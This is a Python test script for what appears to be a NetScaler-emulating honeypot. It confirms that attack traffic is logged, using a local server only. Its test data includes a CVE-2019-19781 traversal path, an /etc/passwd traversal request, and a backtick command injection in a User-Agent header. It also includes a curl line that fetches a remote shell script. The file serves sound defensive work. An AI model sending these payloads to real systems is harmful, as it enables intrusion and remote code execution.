"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted."""
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading

from honeypot import Engine, Server, extract
from evidence import Evidence


def main():
    workspace = tempfile.TemporaryDirectory()
    evidence = Evidence(workspace.name)
    rows = []

    def sink(event, **data):
        rows.append(dict(event=event, **data))
        evidence.emit(event, **data)

    engine = Engine(sink, delay=0, save=evidence.save)
    server = Server(('127.0.0.1', 0), engine)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    def request(method, path, body=None, headers=None):
        connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
        connection.request(method, path, body=body, headers=headers or {})
        response = connection.getresponse()
        result = response.status, response.read()
        connection.close()
        return result

    try:
        request('GET', '/vpn/../vpns/cfg/smb.conf')
        assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
        request('GET', '/../../etc/passwd')
        assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows)
        request('GET', '/flash/nsconfig/ns.conf')
        assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows)

        payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100
        request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
        digest = hashlib.sha256(payload).hexdigest()
        assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
        upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
        assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}

        assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
            == 'curl http://198.51.100.9/a.sh -o /tmp/a'
        value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X'
        request('GET', '/', headers={'User-Agent': value})
        candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate')
        assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt'
        engine.tick()
        run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid='))
        assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd']
        assert any(e['event'] == 'virtual_file_write' for e in rows)

        journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
        kinds = {e['event'] for e in journal}
        assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
                'simulated_command', 'virtual_file_write'} <= kinds
    finally:
        server.shutdown()
        server.server_close()
        thread.join(3)
        evidence.close()
        workspace.cleanup()
    print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted')


if __name__ == '__main__':
    main()